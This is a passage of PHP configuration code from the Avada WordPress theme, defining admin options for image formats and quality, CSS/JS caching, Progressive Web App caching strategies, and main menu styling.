'System Status', 'Avada' ) . '' ), 'id' => 'upload_image_format', 'default' => 'default', 'type' => 'radio-buttonset', 'choices' => [ 'default' => esc_html__( 'Default', 'Avada' ), 'webp' => esc_html__( 'WebP', 'Avada' ), 'avif' => esc_html__( 'AVIF', 'Avada' ), ], // No need to refresh the page. 'transport' => 'postMessage', ], 'keep_original_images' => [ 'label' => esc_html__( 'Keep Original Upload Images', 'Avada' ), 'description' => esc_html__( 'If enabled, not only the image with its original upload format will be kept, but also the created thumbnails. This will increase the filesystem storage use of your images.', 'Avada' ), 'id' => 'keep_original_images', 'default' => 'disable', 'type' => 'radio-buttonset', 'choices' => [ 'enable' => esc_html__( 'Enable', 'Avada' ), 'disable' => esc_html__( 'Disable', 'Avada' ), ], 'required' => [ [ 'setting' => 'upload_image_format', 'operator' => '!=', 'value' => 'default', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'display_image_format' => [ 'label' => esc_html__( 'Display Image Format', 'Avada' ), 'description' => esc_html__( 'If set to "original", Avada will try to load the images in their original upload format. If set to "modern", it will try to load the images in the upload image format you set above.', 'Avada' ), 'id' => 'display_image_format', 'default' => 'modern', 'type' => 'radio-buttonset', 'choices' => [ 'modern' => esc_html__( 'Modern', 'Avada' ), 'original' => esc_html__( 'Original', 'Avada' ), ], 'required' => [ [ 'setting' => 'upload_image_format', 'operator' => '!=', 'value' => 'default', ], [ 'setting' => 'keep_original_images', 'operator' => '=', 'value' => 'enable', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'pw_jpeg_quality' => [ 'label' => esc_html__( 'WordPress Image Quality', 'Avada' ), /* translators: "Regenerate Thumbnails" plugin link. */ 'description' => sprintf( __( 'Controls the quality of the generated image sizes for every uploaded image. Ranges between 0 and 100 percent. Higher values lead to better image quality but also higher file sizes. NOTE: After changing this value, please install and run the %s plugin once.', 'Avada' ), '' . esc_html__( 'Regenerate Thumbnails', 'Avada' ) . '' ), 'id' => 'pw_jpeg_quality', 'default' => '82', 'type' => 'slider', 'choices' => [ 'min' => '1', 'max' => '100', 'step' => '1', ], // No need to refresh the page. 'transport' => 'postMessage', ], 'webp_image_quality' => [ 'label' => esc_html__( 'WordPress webP Image Quality', 'Avada' ), /* translators: "Regenerate Thumbnails" plugin link. */ 'description' => sprintf( __( 'Controls the quality of the generated image sizes for every uploaded webP image. Ranges between 0 and 100 percent. Higher values lead to better image quality but also higher file sizes. NOTE: After changing this value, please install and run the %s plugin once.', 'Avada' ), '' . esc_html__( 'Regenerate Thumbnails', 'Avada' ) . '' ), 'id' => 'webp_image_quality', 'default' => '86', 'type' => 'slider', 'choices' => [ 'min' => '1', 'max' => '100', 'step' => '1', ], // No need to refresh the page. 'transport' => 'postMessage', 'required' => [ [ 'setting' => 'upload_image_format', 'operator' => '=', 'value' => 'webp', ], ], ], 'awb_image_sizes' => [ 'label' => esc_html__( 'Avada Image Sizes', 'Avada' ), 'description' => sprintf( __( 'Choose which Avada image sizes should be created for every image uploaded to the Media Library. NOTE: Image sizes used in legacy areas/features of Avada are marked with (L). When you remove image sizes here, please check your site to make sure all layouts display correctly. After changing this value, please install and run the %s plugin once.', 'Avada' ), '' . esc_html__( 'Regenerate Thumbnails', 'Avada' ) . '' ), 'id' => 'awb_image_sizes', 'default' => [ 'fusion-200', 'fusion-400', 'fusion-600', 'fusion-800', 'fusion-1200', 'blog-large', 'blog-medium', 'recent-posts', 'recent-works-thumbnail', 'portfolio-full', 'portfolio-one', 'portfolio-two', 'portfolio-three', 'portfolio-five' ], 'type' => 'select', 'multi' => true, 'choices' => [ 'fusion-200' => esc_html__( '200px Width', 'Avada' ), 'fusion-400' => esc_html__( '400px Width', 'Avada' ), 'fusion-600' => esc_html__( '600px Width', 'Avada' ), 'fusion-800' => esc_html__( '800px Width', 'Avada' ), 'fusion-1200' => esc_html__( '1200px Width', 'Avada' ), 'blog-large' => esc_html__( 'Blog Large (L)', 'Avada' ), 'blog-medium' => esc_html__( 'Blog Medium (L)', 'Avada' ), 'recent-posts' => esc_html__( 'Recent Posts (L)', 'Avada' ), 'recent-works-thumbnail' => esc_html__( 'Recent Works (L)', 'Avada' ), 'portfolio-full' => esc_html__( 'Portfolio Full (L)', 'Avada' ), 'portfolio-one' => esc_html__( 'Portfolio 1 Col (L)', 'Avada' ), 'portfolio-two' => esc_html__( 'Portfolio 2 Col (L)', 'Avada' ), 'portfolio-three' => esc_html__( 'Portfolio 3 Col (L)', 'Avada' ), 'portfolio-five' => esc_html__( 'Portfolio 5 Col (L)', 'Avada' ), ], // No need to refresh the page. 'transport' => 'postMessage', ], 'wp_big_image_size_threshold' => [ 'label' => esc_html__( 'WordPress Big Image Size Threshold', 'Avada' ), 'description' => esc_html__( 'Sets the threshold for image height and width, above which WordPress will scale down newly uploaded images to this values as max-width or max-height. Set to "0" to disable the threshold completely.', 'Avada' ), 'id' => 'wp_big_image_size_threshold', 'default' => '2560', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '5000', 'step' => '1', ], // No need to refresh the page. 'transport' => 'postMessage', ], 'lazy_load' => [ 'label' => esc_html__( 'Image Lazy Loading', 'Avada' ), 'description' => __( 'Choose your preferred lazy loading method for your website\'s images to improve performance. IMPORTANT: The WordPress native method can cause issues with dynamically loaded elements like image carousels.', 'Avada' ), 'id' => 'lazy_load', 'default' => 'none', 'type' => 'radio-buttonset', 'choices' => [ 'avada' => esc_html__( 'Avada', 'Avada' ), 'wordpress' => esc_html__( 'WordPress', 'Avada' ), 'none' => esc_html__( 'None', 'Avada' ), ], 'transport' => 'postMessage', // No need to refresh the page. ], 'dynamic_compiler_section' => [ 'label' => esc_html__( 'Dynamic CSS & JS', 'Avada' ), 'id' => 'dynamic_compiler_section', 'icon' => true, 'type' => 'info', ], 'css_cache_method' => [ 'label' => esc_html__( 'CSS Compiling Method', 'Avada' ), 'description' => esc_html__( 'Select "File" mode to compile the dynamic CSS to files (a separate file will be created for each of your pages & posts inside of the uploads/fusion-styles folder), "Database" mode to cache the CSS in your database, or select "Disabled" to disable.', 'Avada' ), 'id' => 'css_cache_method', 'default' => 'file', 'type' => 'radio-buttonset', 'choices' => [ 'file' => esc_html__( 'File', 'Avada' ), 'db' => esc_html__( 'Database', 'Avada' ), 'off' => esc_html__( 'Disabled', 'Avada' ), ], 'transport' => 'postMessage', // No need to refresh the page. ], 'css_combine_third_party_assets' => [ 'label' => esc_html__( 'Combine Third Party CSS Files', 'Avada' ), 'description' => __( 'Third party CSS files of the selected plugins will be combined into Avada\'s main stylesheet.
IMPORTANT: Enabling this option is not recommended when you are are using third party file combining services, like cache plugins. When this option is changed, Avada Caches have to be reset for changes to apply.', 'Avada' ), 'id' => 'css_combine_third_party_assets', 'default' => [], 'type' => 'select', 'multi' => true, 'choices' => [ 'tec' => esc_html__( 'The Events Calendar', 'Avada' ), 'slider_rev' => esc_html__( 'Slider Revolutiln', 'Avada' ), 'convert_plus' => esc_html__( 'Convert Plus', 'Avada' ), 'contact_form_7' => esc_html__( 'Contact Form 7', 'Avada' ), 'bbpress' => esc_html__( 'bbPress', 'Avada' ), ], 'required' => [ [ 'setting' => 'css_cache_method', 'operator' => '==', 'value' => 'file', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'media_queries_async' => [ 'label' => esc_html__( 'Load Media-Queries Files Asynchronously', 'Avada' ), 'description' => esc_html__( 'When enabled, the CSS media-queries will be enqueued separately and then loaded asynchronously, improving performance on mobile and desktop.', 'Avada' ), 'id' => 'media_queries_async', 'default' => '0', 'type' => 'switch', 'transport' => 'postMessage', // No need to refresh the page. ], 'critical_css' => [ 'label' => esc_html__( 'Enable Critical CSS', 'Avada' ), /* translators: URL for the critical CSS page. */ 'description' => $critical_description, 'id' => 'critical_css', 'default' => '0', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'cache_server_ip' => [ 'label' => esc_html__( 'Cache Server IP', 'Avada' ), 'description' => esc_html__( 'For unique cases where you are using CloudFlare and a cache server, ex: varnish cache. Enter your cache server IP to clear the Global Options dynamic CSS cache. Consult with your server admin for help.', 'Avada' ), 'id' => 'cache_server_ip', 'default' => '', 'type' => 'text', 'transport' => 'postMessage', // No need to refresh the page. ], 'js_compiler_note' => ( apply_filters( 'fusion_compiler_js_file_is_readable', ( get_transient( 'fusion_dynamic_js_readable' ) || ! $js_compiler_enabled ) ) ) ? [] : [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: JS Compiler is disabled. File does not exist or access is restricted.', 'Avada' ) . '
', 'id' => 'js_compiler_note', 'type' => 'custom', ], 'js_compiler' => [ 'label' => esc_html__( 'Enable JS Compiler', 'Avada' ), 'description' => esc_html__( 'By default all the JavaScript files are combined. Disabling the JS compiler will load non-combined JavaScript files. This will have an impact on the performance of your site.', 'Avada' ), 'id' => 'js_compiler', 'default' => '1', 'type' => 'switch', 'transport' => 'postMessage', // No need to refresh the page. ], 'reset_caches_button' => [ 'label' => esc_html__( 'Reset Avada Caches', 'Avada' ), /* translators: %1$s: uploads/fusion-styles. %2$s: uploads/fusion-scripts. */ 'description' => ( is_multisite() && is_main_site() ) ? sprintf( esc_html__( 'Resets all Dynamic CSS & Dynamic JS, cleans-up the database and deletes the %1$s and %2$s folders. When resetting the caches on the main site of a multisite installation, caches for all sub-sites will be reset. IMPORTANT NOTE: On large multisite installations with a low PHP timeout setting, bulk-resetting the caches may timeout.', 'Avada' ), 'uploads/fusion-styles', 'uploads/fusion-scripts' ) : sprintf( esc_html__( 'Resets all Dynamic CSS & Dynamic JS, cleans-up the database and deletes the %1$s and %2$s folders.', 'Avada' ), 'uploads/fusion-styles', 'uploads/fusion-scripts' ), 'id' => 'reset_caches_button', 'default' => '', 'type' => 'raw', 'content' => '' . esc_html__( 'Reset Avada Caches', 'Avada' ) . '', 'full_width' => false, 'transport' => 'postMessage', // No need to refresh the page. 'hide_on_front' => true, ], 'pwa_section' => [ 'label' => esc_html__( 'Progressive Web App', 'Avada' ), 'id' => 'pwa_section', 'icon' => true, 'type' => 'info', ], 'pwa_required_notice' => ! $pwa_enabled ? [ 'label' => '', 'description' => sprintf( /* translators: URL for the plugins page. */ '
' . __( 'IMPORTANT NOTE: To use the Avada PWA feature you need to install and activate the latest version of the PWA plugin. Please visit the Avada Plugins page to install and activate the plugin and then refresh Global Options to edit the options.', 'Avada' ) . '
', admin_url( 'admin.php?page=avada-plugins' ) ), 'id' => 'pwa_required_notice', 'type' => 'custom', ] : [], 'pwa_required_https_notice' => $pwa_enabled && ! $is_https ? [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: To use the Avada PWA feature your site must use SSL (HTTPS). For more information about the options in this section, please see our PWA documentation page. To learn more about caching strategies and their use in general you can read this article.', 'Avada' ) . '
', 'id' => 'pwa_required_https_notice', 'type' => 'custom', ] : [], 'pwa_enable' => $pwa_enabled ? [ 'label' => esc_html__( 'Enable Progressive Web App', 'Avada' ), 'description' => esc_html__( 'Enable this option if you want to enable the Progressive Web App feature and options on your website.', 'Avada' ), 'id' => 'pwa_enable', 'default' => '0', 'type' => 'switch', 'transport' => 'postMessage', // No need to refresh the page. ] : [], 'pwa_filetypes_cache_first' => $pwa_enabled ? [ 'label' => esc_html__( 'Cache-First strategy file types', 'Avada' ), 'description' => esc_html__( 'File types added in this list will be cached in the browser. Subsequent page requests will use the cached assets. Use this for static assets that don\'t change like images and fonts.', 'Avada' ), 'id' => 'pwa_filetypes_cache_first', 'default' => $cache_first_defaults, 'type' => 'select', 'multi' => true, 'choices' => $filetypes, 'required' => [ [ 'setting' => 'pwa_enable', 'operator' => '==', 'value' => '1', ], ], 'transport' => 'postMessage', // No need to refresh the page. ] : [], 'pwa_filetypes_network_first' => $pwa_enabled ? [ 'label' => esc_html__( 'Network-First strategy file types', 'Avada' ), 'description' => esc_html__( 'File types added in this list will be cached in the browser. Subsequent page requests will first try to get a more recent version of these files from the network, and fallback to the cached files in case the network is unreachable. If your site\'s content gets updated often we recommend you can use this for your content.', 'Avada' ), 'id' => 'pwa_filetypes_network_first', 'default' => $network_first_defaults, 'type' => 'select', 'multi' => true, 'choices' => $filetypes, 'required' => [ [ 'setting' => 'pwa_enable', 'operator' => '==', 'value' => '1', ], ], 'transport' => 'postMessage', // No need to refresh the page. ] : [], 'pwa_filetypes_stale_while_revalidate' => $pwa_enabled ? [ 'label' => esc_html__( 'Stale-While-Revalidating strategy file types', 'Avada' ), 'description' => esc_html__( 'Any file types added here will be served with a cache-first strategy, and after the page has been loaded the caches will be updated with more recent versions of the selected file types from the network. Use this for assets that may get updated but having their latest version is not critical.', 'Avada' ), 'id' => 'pwa_filetypes_stale_while_revalidate', 'default' => [], 'type' => 'select', 'multi' => true, 'choices' => $filetypes, 'required' => [ [ 'setting' => 'pwa_enable', 'operator' => '==', 'value' => '1', ], ], 'transport' => 'postMessage', // No need to refresh the page. ] : [], 'pwa_manifest_logo' => $pwa_enabled ? [ 'label' => esc_html__( 'App Splash Screen Logo', 'Avada' ), 'description' => esc_html__( 'Logo displayed for your website at 512px x 512px when installing as an app. Logo image must be in PNG format.', 'Avada' ), 'id' => 'pwa_manifest_logo', 'default' => '', 'type' => 'media', 'mode' => false, 'required' => [ [ 'setting' => 'pwa_enable', 'operator' => '==', 'value' => '1', ], ], 'transport' => 'postMessage', // No need to refresh the page. ] : [], 'pwa_manifest_display' => $pwa_enabled ? [ 'label' => esc_html__( 'App Display Mode', 'Avada' ), 'description' => __( 'If the user installs your site as an app, select how the app will behave. For more information about these options please refer to this document.', 'Avada' ), 'id' => 'pwa_manifest_display', 'default' => 'minimal-ui', 'type' => 'select', 'choices' => [ 'fullscreen' => esc_html__( 'Fullscreen', 'Avada' ), 'standalone' => esc_html__( 'Standalone', 'Avada' ), 'minimal-ui' => esc_html__( 'Minimal UI', 'Avada' ), 'browser' => esc_html__( 'Browser', 'Avada' ), ], 'required' => [ [ 'setting' => 'pwa_enable', 'operator' => '==', 'value' => '1', ], ], 'transport' => 'postMessage', // No need to refresh the page. ] : [], /** * This is still a work in progress in the PWA plugin * 'pwa_precache_pages' => $pwa_enabled ? [ 'label' => esc_html__( 'Precache Pages', 'Avada' ), 'description' => esc_html__( 'Pages added to this list will be precached and become available faster. You can use this option to precache your homepage or any other pages that are frequently visited. Use with caution and restraint.', 'Avada' ), 'id' => 'pwa_precache_pages', 'default' => [], 'type' => 'select', 'multi' => true, 'choices' => $pages, 'required' => [ [ 'setting' => 'pwa_enable', 'operator' => '==', 'value' => '1', ], ], 'transport' => 'postMessage', // No need to refresh the page. ] : [] */ 'pwa_theme_color' => $pwa_enabled ? [ 'label' => esc_html__( 'App Theme Color', 'Avada' ), 'description' => __( 'Select a color that will be used for the header of your app, as well as the browser toolbar-color on mobile devices.', 'Avada' ), 'id' => 'pwa_theme_color', 'type' => 'color', 'default' => isset( $settings['mobile_header_bg_color'] ) ? $settings['mobile_header_bg_color'] : '#ffffff', 'required' => [ [ 'setting' => 'pwa_enable', 'operator' => '==', 'value' => '1', ], ], 'transport' => 'postMessage', // No need to refresh the page. ] : [], ], ]; return $sections; } Avada/includes/options/menu.php000064400000317236152342437700012561 0ustar00' . sprintf( esc_html__( ' To match the logo height set to %s.', 'Avada' ), 'Unknown' ) . '
'; // If we can get logo height and the logo margins are in pixels, then we can provide a hint. if ( is_admin() ) { $logo_data = Avada()->images->get_logo_data( 'logo' ); if ( isset( $logo_data['height'] ) && '' !== $logo_data['height'] && isset( $settings['logo_margin']['top'] ) && isset( $settings['logo_margin']['bottom'] ) ) { $logo_top_margin = Fusion_Sanitize::size( $settings['logo_margin']['top'] ); $logo_bottom_margin = Fusion_Sanitize::size( $settings['logo_margin']['bottom'] ); if ( strpos( $logo_top_margin, 'px' ) && strpos( $logo_bottom_margin, 'px' ) ) { $total_logo_height = intval( $logo_top_margin ) + intval( $logo_bottom_margin ) + intval( $logo_data['height'] ); /* translators: value. */ $menu_height_hint = '' . sprintf( esc_html__( ' To match the logo height set to %s.', 'Avada' ), '' . $total_logo_height . '' ) . ''; } } } $menu_edit_link = ''; // Only needed in front end builder. if ( function_exists( 'fusion_is_preview_frame' ) ) { $menu_locations = get_nav_menu_locations(); $menu_edit_link = isset( $menu_locations['main_navigation'] ) ? admin_url( 'nav-menus.php?action=edit&menu=' . $menu_locations['main_navigation'] ) : admin_url( 'nav-menus.php' ); } // Check if we have a global header override. $has_global_header = false; if ( class_exists( 'Fusion_Template_Builder' ) ) { $default_layout = Fusion_Template_Builder::get_default_layout(); $has_global_header = isset( $default_layout['data']['template_terms'] ) && isset( $default_layout['data']['template_terms']['header'] ) && $default_layout['data']['template_terms']['header']; } $sections['menu'] = [ 'label' => esc_html__( 'Menu', 'Avada' ), 'id' => 'heading_menu_section', 'priority' => 1, 'icon' => 'el-icon-lines', 'alt_icon' => 'fusiona-bars', 'fields' => [], ]; if ( $has_global_header ) { $sections['menu']['fields'] = [ 'custom_menu' => [ 'label' => esc_html__( 'Main Menu', 'Avada' ), 'id' => 'custom_menu', 'priority' => 6, 'type' => 'sub-section', 'fields' => [ 'menu_global_header_override_template_notice' => [ 'id' => 'menu_global_header_override_template_notice', 'label' => '', 'hidden' => ! $has_global_header, 'description' => sprintf( /* translators: 1: Content|Footer|Page Title Bar. 2: URL. */ '
' . __( 'IMPORTANT NOTE: The options on this tab are not available because a global %1$s override is currently used. To edit your global layout please visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['header']['label'], admin_url( 'admin.php?page=avada-layouts' ) ), 'type' => 'custom', ], ], ], ]; } $fields = [ 'heading_menu' => [ 'label' => esc_html__( 'Main Menu', 'Avada' ), 'id' => 'heading_menu', 'priority' => 6, 'type' => 'sub-section', 'hidden' => $has_global_header, 'fields' => [ 'menu_global_header_template_notice' => [ 'id' => 'menu_global_header_template_notice', 'label' => '', 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s Builder to create a custom %1$s Layout. visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['header']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'nav_height' => [ 'label' => esc_html__( 'Main Menu Height', 'Avada' ), 'description' => esc_html__( 'Controls the menu height.', 'Avada' ) . $menu_height_hint, 'id' => 'nav_height', 'default' => '94', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '300', 'step' => '1', ], 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--nav_height', 'element' => '.fusion-main-menu', 'value_pattern' => '$px', ], ], 'output' => [ // This is for the avadaHeaderVars.nav_height var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaHeaderVars', 'id' => 'nav_height', 'trigger' => [ 'fusion-reinit-sticky-header' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], 'edit_shortcut' => [ 'selector' => [ '.fusion-header', '#side-header .side-header-wrapper' ], 'shortcuts' => [ [ 'aria_label' => esc_html__( 'Edit Main Menu', 'Avada' ), 'link' => $menu_edit_link, 'order' => 3, ], ], ], ], 'menu_highlight_style' => [ 'label' => esc_html__( 'Main Menu Highlight Style', 'Avada' ), 'description' => __( 'Controls the highlight style for main menu links and also affects the look of menu dropdowns. Arrow style cannot work with a transparent header background. Bar highlights will display vertically on side header layouts. IMPORTANT: Arrow & Background style can require configuration of other options depending on desired effect.', 'Avada' ) . ' ' . esc_html__( 'See this post for more information', 'Avada' ) . '.', 'id' => 'menu_highlight_style', 'default' => 'bar', 'choices' => [ 'bar' => esc_html__( 'Top Bar', 'Avada' ), 'bottombar' => esc_html__( 'Bottom Bar', 'Avada' ), 'arrow' => esc_html__( 'Arrow', 'Avada' ), 'background' => esc_html__( 'Background', 'Avada' ), 'textcolor' => esc_html__( 'Color Only', 'Avada' ), ], 'type' => 'radio-buttonset', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'output' => [ // Change body class. [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'avada-menu-highlight-style-$', 'remove_attrs' => [ 'avada-menu-highlight-style-bar', 'avada-menu-highlight-style-bottombar', 'avada-menu-highlight-style-arrow', 'avada-menu-highlight-style-background', 'avada-menu-highlight-style-textcolor' ], ], // Change the avadaHeaderVars.nav_highlight_style var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaHeaderVars', 'id' => 'nav_highlight_style', ], ], 'sanitize_callback' => '__return_empty_string', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'menu_highlight_style_header_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'menu_highlight_style_header_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'menu_highlight_style_header' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'menu_highlight_background' => [ 'label' => esc_html__( 'Main Menu Highlight Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of main menu highlight.', 'Avada' ), 'id' => 'menu_highlight_background', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'class' => 'fusion-gutter-and-or-and', 'required' => [ [ 'setting' => 'menu_highlight_style', 'operator' => '==', 'value' => 'background', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'menu_highlight_style', 'operator' => '==', 'value' => 'background', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--menu_highlight_background', 'callback' => [ 'sanitize_color' ], ], ], ], 'menu_arrow_size' => [ 'label' => esc_html__( 'Main Menu Arrow Size', 'Avada' ), 'description' => esc_html__( 'Controls the width and height of the main menu arrow.', 'Avada' ), 'id' => 'menu_arrow_size', 'units' => false, 'default' => [ 'width' => '23px', 'height' => '12px', ], 'type' => 'dimensions', 'class' => 'fusion-gutter-and-or-and', 'required' => [ [ 'setting' => 'menu_highlight_style', 'operator' => '==', 'value' => 'arrow', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'menu_highlight_style', 'operator' => '==', 'value' => 'arrow', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--menu_arrow_size-width', 'choice' => 'width', ], [ 'name' => '--menu_arrow_size-height', 'choice' => 'height', ], [ 'name' => '--menu_arrow_size-width-header_border_color_condition_5', 'choice' => 'width', 'callback' => [ 'header_border_color_condition_5', '' ], ], ], ], 'nav_highlight_border' => [ 'label' => esc_html__( 'Main Menu Highlight Bar Size', 'Avada' ), 'description' => esc_html__( 'Controls the size of the menu highlight bar.', 'Avada' ), 'id' => 'nav_highlight_border', 'default' => '3', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '40', 'step' => '1', ], 'class' => 'fusion-gutter-and-or-and-or-and-or-and', 'required' => [ [ 'setting' => 'menu_highlight_style', 'operator' => '==', 'value' => 'bar', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'menu_highlight_style', 'operator' => '==', 'value' => 'bar', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'menu_highlight_style', 'operator' => '==', 'value' => 'bottombar', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'menu_highlight_style', 'operator' => '==', 'value' => 'bottombar', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--nav_highlight_border', 'value_pattern' => '$px', 'callback' => [ 'fallback_to_value', '0' ], ], ], 'output' => [ // Change the avadaHeaderVars.nav_height var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaHeaderVars', 'id' => 'nav_highlight_border', ], ], 'sanitize_callback' => '__return_empty_string', ], // Change the avadaHeaderVars.nav_height var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaHeaderVars', 'id' => 'nav_height', 'trigger' => [ 'fusion-reinit-sticky-header' ], 'condition' => [ 'menu_highlight_style', '===', 'bar', '$', '0' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'nav_padding' => [ 'label' => esc_html__( 'Main Menu Item Padding', 'Avada' ), 'description' => esc_html__( 'Controls the right padding for menu text (left on RTL).', 'Avada' ), 'id' => 'nav_padding', 'default' => '48', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '200', 'step' => '1', ], 'required' => [ [ 'setting' => 'header_position', 'operator' => '==', 'value' => 'top', ], ], 'css_vars' => [ [ 'name' => '--nav_padding', 'value_pattern' => '$px', ], [ 'name' => '--nav_padding-no-zero', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ '$px', '' ], 'conditions' => [ [ 'nav_padding', '==', '0' ], ], ], ], ], ], ], 'mobile_nav_padding' => [ 'label' => esc_html__( 'Main Menu Item Padding On Mobile', 'Avada' ), 'description' => esc_html__( 'Controls the right padding for menu text (left on RTL) when the normal desktop menu is used on mobile devices.', 'Avada' ), 'id' => 'mobile_nav_padding', 'default' => '25', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '200', 'step' => '1', ], 'required' => [ [ 'setting' => 'header_position', 'operator' => '==', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--mobile_nav_padding', 'element' => '.fusion-main-menu', 'value_pattern' => '$px', ], ], ], 'megamenu_shadow' => [ 'label' => esc_html__( 'Main Menu Drop Shadow', 'Avada' ), 'description' => esc_html__( 'Turn on to display a drop shadow on menu dropdowns.', 'Avada' ), 'id' => 'megamenu_shadow', 'default' => '1', 'type' => 'switch', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-megamenu-shadow', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'main_menu_sub_menu_animation' => [ 'label' => esc_html__( 'Main Menu Dropdown / Legacy Mega Menu Animation', 'Avada' ), 'description' => esc_html__( 'Controls the animation type for all sub-menus.', 'Avada' ), 'id' => 'main_menu_sub_menu_animation', 'type' => 'radio-buttonset', 'default' => 'fade', 'choices' => [ 'fade' => esc_html__( 'Fade', 'Avada' ), 'slide' => esc_html__( 'Slide', 'Avada' ), ], 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], // Change body class. [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'fusion-sub-menu-$', 'remove_attrs' => [ 'fusion-sub-menu-fade', 'fusion-sub-menu-slide' ], ], ], 'dropdown_menu_top_border_size' => [ 'label' => esc_html__( 'Main Menu Dropdown Top Border Size', 'Avada' ), 'description' => esc_html__( 'Controls top border size of dropdown menus and legacy mega menus.', 'Avada' ), 'id' => 'dropdown_menu_top_border_size', 'default' => '3', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '50', 'step' => '1', ], 'class' => 'fusion-gutter-and-or-and-or-and-or-and', 'required' => [ [ 'setting' => 'menu_highlight_style', 'operator' => '==', 'value' => 'bar', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'menu_highlight_style', 'operator' => '==', 'value' => 'bar', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'menu_highlight_style', 'operator' => '==', 'value' => 'bottombar', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'menu_highlight_style', 'operator' => '==', 'value' => 'bottombar', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--dropdown_menu_top_border_size', 'value_pattern' => '$px', ], ], ], 'dropdown_menu_width' => [ 'label' => esc_html__( 'Main Menu Dropdown Width', 'Avada' ), 'description' => esc_html__( 'Controls the width of the dropdown.', 'Avada' ), 'id' => 'dropdown_menu_width', 'default' => '200', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '500', 'step' => '1', ], 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--dropdown_menu_width', 'value_pattern' => '$px', ], ], ], 'mainmenu_dropdown_vertical_padding' => [ 'label' => esc_html__( 'Main Menu Dropdown Item Padding', 